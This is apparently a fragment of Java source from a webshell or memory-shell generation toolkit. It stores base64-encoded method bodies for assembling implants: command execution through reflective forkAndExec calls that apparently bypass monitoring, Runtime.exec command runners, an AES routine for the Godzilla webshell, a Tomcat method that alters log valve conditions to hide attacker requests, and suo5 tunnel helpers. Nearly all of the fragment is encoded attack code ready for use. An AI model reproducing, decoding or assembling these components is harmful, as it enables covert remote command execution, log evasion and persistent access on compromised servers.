"cHVibGljIHN0YXRpYyBzdW4ubWlzYy5VbnNhZmUgZ2V0VW5zYWZlKCkgew0KCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlID0gbnVsbDsNCgkJdHJ5IHsNCgkJCWlmIChDbGFzcy5mb3JOYW1lKG5ldyBUaHJvd2FibGUoKS5nZXRTdGFja1RyYWNlKClbMV0uZ2V0Q2xhc3NOYW1lKCkpLmdldENsYXNzTG9hZGVyKCkgPT0gbnVsbCkgew0KCQkJCXVuc2FmZSA9IHN1bi5taXNjLlVuc2FmZS5nZXRVbnNhZmUoKTsNCgkJCX0NCgkJfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOw0KCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOw0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ0KDQoJCWlmICh1bnNhZmUgPT0gbnVsbCkgew0KCQkJdHJ5IHsNCgkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICBuZXR0eUNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiaW8ubmV0dHkudXRpbC5pbnRlcm5hbC5zaGFkZWQub3JnLmpjdG9vbHMudXRpbC5VbnNhZmVBY2Nlc3MiKTsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCAgICAgID0gbmV0dHlDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJVTlNBRkUiKTsNCgkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCXVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIGZpZWxkLmdldChudWxsKTsNCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgdGhlVW5zYWZlRmllbGQgPSBzdW4ubWlzYy5VbnNhZmUuY2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgidGhlVW5zYWZlIik7DQoJCQkJdGhlVW5zYWZlRmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQl1bnNhZmUgPSAoc3VuLm1pc2MuVW5zYWZlKSB0aGVVbnNhZmVGaWVsZC5nZXQobnVsbCk7DQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCQkJfQ0KCQl9DQoNCgkJcmV0dXJuIHVuc2FmZTsNCgl9"; + + // base64Decode + public static String BASE64_DECODE_STRING_TO_BYTE = "cHVibGljIHN0YXRpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlieXRlW10gdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IGRlY29kZXIgPSBiYXNlNjQuZ2V0RGVjbGFyZWRNZXRob2QoImdldERlY29kZXIiLCBuZXcgQ2xhc3NbXXtudWxsfSkuaW52b2tlKG51bGwsbmV3IE9iamVjdFtde251bGx9KTsKCQkJdmFsdWUgPSAoYnl0ZVtdKSBkZWNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KS5pbnZva2UoZGVjb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJdHJ5IHsKCQkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKCQkJCU9iamVjdCBkZWNvZGVyID0gYmFzZTY0Lm5ld0luc3RhbmNlKCk7CgkJCQl2YWx1ZSA9IChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30pLmludm9rZShkZWNvZGVyLCBuZXcgT2JqZWN0W117YnN9KTsKCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUyKSB7CgkJCX0KCQl9CgkJcmV0dXJuIHZhbHVlOwoJfQo="; + + // base64Encode + public static String BASE64_ENCODE_BYTE_TO_STRING = "cHVibGljIHN0YXRpYyBTdHJpbmcgYmFzZTY0RW5jb2RlKGJ5dGVbXSBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlTdHJpbmcgdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IEVuY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXRFbmNvZGVyIiwgbmV3IENsYXNzW117bnVsbH0pLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bnVsbH0pOwoJCQl2YWx1ZSA9IChTdHJpbmcpIEVuY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImVuY29kZVRvU3RyaW5nIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzfSkuaW52b2tlKEVuY29kZXIsIG5ldyBPYmplY3RbXXtic30pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXRyeSB7CgkJCQliYXNlNjQgPSBDbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjRFbmNvZGVyIik7CgkJCQlPYmplY3QgRW5jb2RlciA9IGJhc2U2NC5uZXdJbnN0YW5jZSgpOwoJCQkJdmFsdWUgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGUiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCX0KCQl9CgkJcmV0dXJuIHZhbHVlOwoJfQ=="; + + // MD5 + public static String MD5 = "CXB1YmxpYyBzdGF0aWMgU3RyaW5nIG1kNShTdHJpbmcgcykgewoJCVN0cmluZyByZXQgPSBudWxsOwoJCXRyeSB7CgkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtOwoJCQltID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJbS51cGRhdGUocy5nZXRCeXRlcygpLCAwLCBzLmxlbmd0aCgpKTsKCQkJcmV0ID0gbmV3IGphdmEubWF0aC5CaWdJbnRlZ2VyKDEsIG0uZGlnZXN0KCkpLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiByZXQ7Cgl9"; + + // 哥斯拉 AES 方法 x(需要 Field xc) + public static String AES_FOR_GODZILLA = "CXB1YmxpYyBieXRlW10geChieXRlW10gcywgYm9vbGVhbiBtKSB7CgkJdHJ5IHsKCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCWMuaW5pdChtID8gMSA6IDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCXJldHVybiBjLmRvRmluYWwocyk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJcmV0dXJuIG51bGw7CgkJfQoJfQ=="; + + // 命令执行封装方法,使用反射调用 forkandexec, 需要 toCString getMethodByClass getMethodAndInvoke getFieldValue getUnsafe + public static String EXEC_CMD_OBSCURE = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdICAgICAgICAgICAgICAgICAgICAgIGNtZHMgICAgICAgICAgPSBudWxsOwoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzICA9IG51bGw7CgkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCXN1bi5taXNjLlVuc2FmZSAgICAgICAgICAgICAgIHVuc2FmZSAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGJhb3MgICAgICAgICAgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCWlmIChTeXN0ZW0uZ2V0UHJvcGVydHkoIm9zLm5hbWUiKS50b0xvd2VyQ2FzZSgpLmNvbnRhaW5zKCJ3aW4iKSkgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlByb2Nlc3NJbXBsIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJbG9uZ1tdICAgICAgICAgICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQlqYXZhLmlvLkZpbGVEZXNjcmlwdG9yIHN0ZG91dF9mZCAgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCVN0cmluZ0J1aWxkZXIgICAgICAgICAgc2IgICAgICAgICA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CgoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQlzYi5hcHBlbmQoY21kc1tpXSkuYXBwZW5kKCIgIik7CgkJCQkJfQoJCQkJCU9iamVjdCBoYW5kbGUgPSBnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImNyZWF0ZSIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIGxvbmdbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtzYi50b1N0cmluZygpLnRyaW0oKSwgbnVsbCwgbnVsbCwgc3RkSGFuZGxlcywgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0V9KTsKCQkJCQlpZiAoaGFuZGxlID09IG51bGwpIHsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJjcmVhdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSwKCQkJCQkJCQluZXcgT2JqZWN0W117c2IudG9TdHJpbmcoKS50cmltKCksIG51bGwsIG51bGwsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFLCBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpLCBzdGRvdXRfZmQsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCl9KTsKCQkJCQl9IGVsc2UgewoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQkJZmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJZmllbGQuc2V0KHByb2Nlc3NPYmplY3QsIGhhbmRsZSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShnZXRGaWVsZFZhbHVlKHByb2Nlc3NPYmplY3QsICJmZEFjY2VzcyIpLCAic2V0SGFuZGxlIiwgbmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgbG9uZy5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCX0KCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCWZpZWxkMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShuZXcgamF2YS5pby5GaWxlSW5wdXRTdHJlYW0oc3Rkb3V0X2ZkKSkpOwoJCQkJfSBlbHNlIHsKCQkJCQljbWRzID0gbmV3IFN0cmluZ1tdeyIvYmluL2Jhc2giLCAiLWMiLCBjbWR9OwoJCQkJCXByb2Nlc3NDbGFzcyA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyIpOwoJCQkJCXByb2Nlc3NPYmplY3QgPSB1bnNhZmUuYWxsb2NhdGVJbnN0YW5jZShwcm9jZXNzQ2xhc3MpOwoJCQkJCWJ5dGVbXVtdIGFyZ3MgPSBuZXcgYnl0ZVtjbWRzLmxlbmd0aCAtIDFdW107CgkJCQkJaW50ICAgICAgc2l6ZSA9IGFyZ3MubGVuZ3RoOwoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgYXJncy5sZW5ndGg7IGkrKykgewoJCQkJCQlhcmdzW2ldID0gY21kc1tpICsgMV0uZ2V0Qnl0ZXMoKTsKCQkJCQkJc2l6ZSArPSBhcmdzW2ldLmxlbmd0aDsKCQkJCQl9CgkJCQkJYnl0ZVtdIGFyZ0Jsb2NrID0gbmV3IGJ5dGVbc2l6ZV07CgkJCQkJaW50ICAgIGkgICAgICAgID0gMDsKCQkJCQlmb3IgKGludCBpMSA9IDA7IGkxIDwgYXJncy5sZW5ndGg7IGkxKyspIHsKCQkJCQkJU3lzdGVtLmFycmF5Y29weShhcmdzW2kxXSwgMCwgYXJnQmxvY2ssIGksIGFyZ3NbaTFdLmxlbmd0aCk7CgkJCQkJCWkgKz0gYXJnc1tpMV0ubGVuZ3RoICsgMTsKCQkJCQl9CgkJCQkJaW50W10gc3RkX2ZkcyA9IG5ldyBpbnRbXXstMSwgLTEsIC0xfTsKCgkJCQkJdHJ5IHsKCQkJCQkJT2JqZWN0IGxhdW5jaE1lY2hhbmlzbU9iamVjdCA9IGdldEZpZWxkVmFsdWUocHJvY2Vzc09iamVjdCwgImxhdW5jaE1lY2hhbmlzbSIpOwoJCQkJCQlieXRlW10gaGVscGVycGF0aE9iamVjdCAgICAgID0gKGJ5dGVbXSkgZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiaGVscGVycGF0aCIpOwoJCQkJCQlpbnQgICAgb3JkaW5hbCAgICAgICAgICAgICAgID0gamF2YS5sYW5nLkludGVnZXIucGFyc2VJbnQoZ2V0TWV0aG9kQW5kSW52b2tlKGxhdW5jaE1lY2hhbmlzbU9iamVjdCwgIm9yZGluYWwiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJmb3JrQW5kRXhlYyIsIG5ldyBDbGFzc1tde2ludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnRbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtJbnRlZ2VyLnZhbHVlT2Yob3JkaW5hbCArIDEpLCBoZWxwZXJwYXRoT2JqZWN0LCB0b0NTdHJpbmcoY21kc1swXSksIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIHN0ZF9mZHMsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFfSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiaW5pdFN0cmVhbXMiLCBuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJamF2YS5pby5GaWxlRGVzY3JpcHRvciBzdGRvdXRfZmQgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImZvcmtBbmRFeGVjIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgYm9vbGVhbi5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30sCgkJCQkJCQkJbmV3IE9iamVjdFtde3RvQ1N0cmluZyhjbWRzWzBdKSwgYXJnQmxvY2ssIEludGVnZXIudmFsdWVPZihhcmdzLmxlbmd0aCksIG51bGwsIEludGVnZXIudmFsdWVPZigxKSwgbnVsbCwgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0UsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCksIHN0ZG91dF9mZCwgbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKX0pOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCQlmaWVsZDIuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCgkJCQkJCXRyeSB7CgkJCQkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICAgICAgICBkY2lzQ2xhc3MgICA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyREZWZlcnJlZENsb3NlSW5wdXRTdHJlYW0iKTsKCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gZGNpc0NsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30pOwoJCQkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSgoamF2YS5pby5JbnB1dFN0cmVhbSkgY29uc3RydWN0b3IubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde3N0ZG91dF9mZH0pKSk7CgkJCQkJCX1jYXRjaCAoRXhjZXB0aW9uIG5ldmVyTWluZCl7CgkJCQkJCQlmaWVsZDIuc2V0KHByb2Nlc3NPYmplY3QsIG5ldyBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0obmV3IGphdmEuaW8uRmlsZUlucHV0U3RyZWFtKHN0ZG91dF9mZCkpKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJCWphdmEuaW8uSW5wdXRTdHJlYW0gaW4gPSAoamF2YS5pby5JbnB1dFN0cmVhbSkgZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJnZXRJbnB1dFN0cmVhbSIsIG51bGwsIG51bGwpOwoJCQkJaW50ICAgICAgICAgICAgICAgICBhICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgIGIgID0gbmV3IGJ5dGVbMTAyNF07CgkJCQl3aGlsZSAoKGEgPSBpbi5yZWFkKGIpKSAhPSAtMSkgewoJCQkJCWJhb3Mud3JpdGUoYiwgMCwgYSk7CgkJCQl9CgkJCQlyZXR1cm4gYmFvczsKCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiBudWxsOwoJfQ=="; + + // 命令执行封装方法,简单使用 Runtime.getRuntime().exec() + public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKS5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ=="; + + // Tomcat NO LOG 方法,需要 getFieldValue getMethodByClass getMethodAndInvoke + public static String TOMCAT_NO_LOG = "cHVibGljIHZvaWQgbm9Mb2coT2JqZWN0IHJlcU9iaikgewoJCXRyeSB7CgkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbkNvbnRleHQgPSBnZXRGaWVsZFZhbHVlKGdldE1ldGhvZEFuZEludm9rZShyZXFPYmosICJnZXRTZXJ2bGV0Q29udGV4dCIsIG51bGwsIG51bGwpLCAiY29udGV4dCIpOwoJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmVyICAgICAgICAgID0gZ2V0RmllbGRWYWx1ZShhcHBsaWNhdGlvbkNvbnRleHQsICJjb250ZXh0Iik7CgkJCWphdmEudXRpbC5BcnJheUxpc3QgYXJyYXlMaXN0ICAgICAgICAgID0gbmV3IGphdmEudXRpbC5BcnJheUxpc3QoKTsKCQkJd2hpbGUgKGNvbnRhaW5lciAhPSBudWxsKSB7CgkJCQlhcnJheUxpc3QuYWRkKGNvbnRhaW5lcik7CgkJCQljb250YWluZXIgPSBnZXRNZXRob2RBbmRJbnZva2UoY29udGFpbmVyLCAiZ2V0UGFyZW50IiwgbnVsbCwgbnVsbCk7CgkJCX0KCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcnJheUxpc3Quc2l6ZSgpOyBpKyspIHsKCQkJCXRyeSB7CgkJCQkJT2JqZWN0IHBpcGVsaW5lID0gZ2V0TWV0aG9kQW5kSW52b2tlKGFycmF5TGlzdC5nZXQoaSksICJnZXRQaXBlbGluZSIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChwaXBlbGluZSAhPSBudWxsKSB7CgkJCQkJCU9iamVjdCB2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZShwaXBlbGluZSwgImdldEZpcnN0IiwgbnVsbCwgbnVsbCk7CgkJCQkJCXdoaWxlICh2YWx2ZSAhPSBudWxsKSB7CgkJCQkJCQlpZiAoZ2V0TWV0aG9kQnlDbGFzcyh2YWx2ZS5nZXRDbGFzcygpLCAiZ2V0Q29uZGl0aW9uIiwgbnVsbCkgIT0gbnVsbCAmJiBnZXRNZXRob2RCeUNsYXNzKHZhbHZlLmdldENsYXNzKCksICJzZXRDb25kaXRpb24iLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KSAhPSBudWxsKSB7CgkJCQkJCQkJU3RyaW5nIGNvbmRpdGlvbiA9IChTdHJpbmcpIGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldENvbmRpdGlvbiIsIG51bGwsIG51bGwpOwoJCQkJCQkJCWNvbmRpdGlvbiA9IChjb25kaXRpb24gPT0gbnVsbCkgPyAiV2hhdGV2ZXIiIDogY29uZGl0aW9uOwoJCQkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgInNldENvbmRpdGlvbiIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtjb25kaXRpb259KTsKCQkJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocmVxT2JqLCAic2V0QXR0cmlidXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117Y29uZGl0aW9uLCBjb25kaXRpb259KTsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCWlmIChDbGFzcy5mb3JOYW1lKCJvcmcuYXBhY2hlLmNhdGFsaW5hLlZhbHZlIiwgZmFsc2UsIGFwcGxpY2F0aW9uQ29udGV4dC5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmlzQXNzaWduYWJsZUZyb20odmFsdmUuZ2V0Q2xhc3MoKSkpIHsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCXZhbHZlID0gbnVsbDsKCQkJCQkJfQoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; + + public static class SUO5 { + + // suo5 newCreate 方法 + public static String SUO5_NEW_CREATE = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3Q3JlYXRlKGJ5dGUgcykgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDR9KTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117c30pOwoJCXJldHVybiBtOwoJfQ=="; + + // suo5 newData 方法 + public static String SUO5_NEW_DATA = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGF0YShieXRlW10gZGF0YSkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDF9KTsKCQltLnB1dCgiZHQiLCBkYXRhKTsKCQlyZXR1cm4gbTsKCX0="; + + // suo5 newDel 方法 + public static String SUO5_NEW_DEL = 